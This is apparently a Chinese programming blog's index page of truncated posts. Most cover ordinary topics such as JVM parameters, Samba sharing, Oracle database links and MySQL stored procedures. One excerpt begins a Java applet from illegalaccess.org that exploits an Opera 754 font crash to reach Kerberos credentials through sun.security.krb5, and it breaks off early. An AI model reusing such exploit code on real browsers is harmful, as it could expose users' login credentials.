- 浏览: 303993 次
- 性别:
- 来自: 北京
最新评论
文章列表
JVM启动参数解析
JVM启动参数共分为三类;
其一是标准参数(-),所有的JVM实现都必须实现这些参数的功能,而且向后兼容;
其二是非标准参数(-X),默认jvm实现这些参数的功能,但是并不保证所有jvm实现都满足,且不保证向后兼容;
其三是非Stable参数(-XX),此类参数各个jvm实现会有所不同,将来可能会随时取消,需要慎重使用;
本文主要描述标准参数部分,剩下的两个部分将会陆续推出。
JVM启动参数之标准参数列表如下:
-client
设置jvm使用client模式,特点是启动速度比较快,但运行时性能和内存管理效率不高,通常用于客户端应用程序或 ...
import sun.security.krb5.*;
public class Opera754KerberosAppletPrint extends java.applet.Applet{
public void start() {
int j = javax.swing.JOptionPane.showConfirmDialog(null,"Illegalaccess.org | Step1 Opera 754 FontCrash, wanna crash? ");
System.out.println(j);
try {
Credentials c = ...
设置linux共享
修改/etc/samba/smb.conf增加内容
[jis]
comment = jis
path = /home/jis
read only = no
inherit acls = yes
broweseable = yes
quest ok = yes
writeable = yes
browseable = yes
guest ok = no
增加访问账号和密码:smbpasswd -a search
重启服务rcsmb restart
使用系统游标返回数据集
- 博客分类:
- oracle
create or replace function f_user_qr_qrycalloutuser
(
i_in_querytype in number,
str_o_result out varchar2
)
return sys_refcursor is
cur_result sys_refcursor;
begin
str_o_result := '00000000';
open cur_result for select t.configname, t.configname, t.configtype, t.config ...
-- Create database link
create public database link HPC2
connect to xx identified by xx
using '(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = 10.71.150.173)(PORT = 1521))
)
(CONNECT_DATA =
(SERVER = DEDICATED)
(SERVICE_NAME = HPC2)
(SID = HPC2)
)
)';
...
mysql 动态执行存储过程3
- 博客分类:
- mysql
DROP PROCEDURE IF EXISTS f_qr_album;
DELIMITER $$
CREATE PROCEDURE f_qr_album
(
IN _id INTEGER(10),
IN _albumid VARCHAR(10),
IN _albumname VARCHAR(10),
IN _artistname VARCHAR(10),
IN _releasedate VARCHAR(10),
IN _publisher VARCHAR(10),
IN _albumdesc VARCHAR(10),
...
mysql 动态执行存储过程
- 博客分类:
- mysql
http://forums.mysql.com/read.php?98,432240,432385#msg-432385
Stored Procedures :: Undeclared variable using SELECT ... INTO in dynamic SQL
In PREPAREd statements you can SELECT INTO user variables only, ie vars whose names begin with `@`.
mysql存储过程2
- 博客分类:
- mysql
DROP PROCEDURE IF EXISTS f_qr_album;
DELIMITER $$
CREATE PROCEDURE f_qr_album
(
IN _albumid VARCHAR(10),
IN _albumname VARCHAR(10),
IN _releasedate VARCHAR(10),
IN _publisher VARCHAR(10),
IN _albumdesc VARCHAR(10),
IN _recordstart INTEGER(10),
IN _recordend INTEGER(10 ...
mysql 存储过程
- 博客分类:
- mysql
DROP PROCEDURE IF EXISTS f_qr_album;
DELIMITER $$
CREATE PROCEDURE f_qr_album
(
IN _albumid VARCHAR(10),
IN _albumname VARCHAR(10),
IN _releasedate VARCHAR(10),
IN _publisher VARCHAR(10),
IN _albumdesc VARCHAR(10),
IN _recordstart INTEGER(10),
IN _recordend INTEGER(10), ...
mysql 字符转换成数字
- 博客分类:
- mysql
使用mysql特有函数 123是原来的字符串,as 后面是要转化的类型
cast('123' as signed integer)
example:
select cast('123' as signed integer);
select TIMESTAMP('2010-03-03 16:41:16');
select DATE('2010-03-03 16:41:16');
select YEAR('2010-03-03 16:41:16');
select MONTH('2010-03-03 16:41:16');
select DAY('2010-03-03 16:41:16');
select TIME('2010-03-03 16:41:16');
select CURTIME();
select CURDATE();
select CUR ...
jQuery.extend({...})是给function jQuery添加静态属性或方法
jQuery().extend({...})是给jQuery对象添加属性或方法
鼠标经过变成手形
<td style="cursor:hand">移动到我就变手型</td>
package com;
public class T {
public int x;
public int y;
public int[][] arr;
public int WIDTH = 10;
public static int num;
public static int width;
public static T t;
public T() {
arr = new int[WIDTH][WIDTH];
num = 0;
width = 0;
x = 0;
y = 0;
}
public vo ...